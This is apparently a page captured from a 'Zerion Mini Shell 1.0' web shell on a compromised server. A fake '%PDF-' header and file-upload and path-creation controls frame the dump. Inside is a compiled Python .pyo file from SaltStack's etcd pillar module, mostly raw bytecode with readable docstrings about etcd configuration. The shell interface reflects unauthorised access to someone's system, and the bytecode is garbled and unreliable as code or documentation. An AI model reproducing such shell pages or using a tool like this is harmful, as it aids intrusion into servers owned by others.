%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/pillar/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/pillar/etcd_pillar.pyo

�
���^c@@s�dZddlmZmZmZddlZyddlZeZ	Wne
k
r]eZ	nXdZej
e�Zd�Zd�ZdS(u�
Use etcd data as a Pillar source

.. versionadded:: 2014.7.0

:depends:  - python-etcd

In order to use an etcd server, a profile must be created in the master
configuration file:

.. code-block:: yaml

    my_etcd_config:
      etcd.host: 127.0.0.1
      etcd.port: 4001

After the profile is created, configure the external pillar system to use it.
Optionally, a root may be specified.

.. code-block:: yaml

    ext_pillar:
      - etcd: my_etcd_config

    ext_pillar:
      - etcd: my_etcd_config root=/salt

Using these configuration profiles, multiple etcd sources may also be used:

.. code-block:: yaml

    ext_pillar:
      - etcd: my_etcd_config
      - etcd: my_other_etcd_config

The ``minion_id`` may be used in the ``root`` path to expose minion-specific
information stored in etcd.

.. code-block:: yaml

    ext_pillar:
      - etcd: my_etcd_config root=/salt/%(minion_id)s

Minion-specific values may override shared values when the minion-specific root
appears after the shared root:

.. code-block:: yaml

    ext_pillar:
      - etcd: my_etcd_config root=/salt-shared
      - etcd: my_other_etcd_config root=/salt-private/%(minion_id)s

Using the configuration above, the following commands could be used to share a
key with all minions but override its value for a specific minion::

    etcdctl set /salt-shared/mykey my_value
    etcdctl set /salt-private/special_minion_id/mykey my_other_value

i(tabsolute_importtprint_functiontunicode_literalsNuetcdcC@str
tStS(u1
    Only return if python-etcd is installed
    (tHAS_LIBSt__virtualname__tFalse(((s;/usr/lib/python2.7/site-packages/salt/pillar/etcd_pillar.pyt__virtual__OscC@s�|j�}d}|dr)|d}ntjjjt|�}d}t|�dkr�|djd�r�|dj	dd�}n|i|d6;}ytjjj
||�}Wn*tk
r�tj
d||�i}nX|S(	u!
    Check etcd for all data
    iu/iuroot=uu	minion_idu"No such key in etcd profile %s: %sN(tsplittNonetsalttutilst	etcd_utiltget_connt__opts__tlent
startswithtreplacettreetKeyErrortlogterror(t	minion_idtpillartconftcompstprofiletclienttpath((s;/usr/lib/python2.7/site-packages/salt/pillar/etcd_pillar.pyt
ext_pillarVs 

%

(t__doc__t
__future__RRRtloggingtsalt.utils.etcd_utilR	tTrueRtImportErrorRRt	getLoggert__name__RRR(((s;/usr/lib/python2.7/site-packages/salt/pillar/etcd_pillar.pyt<module><s


	

Zerion Mini Shell 1.0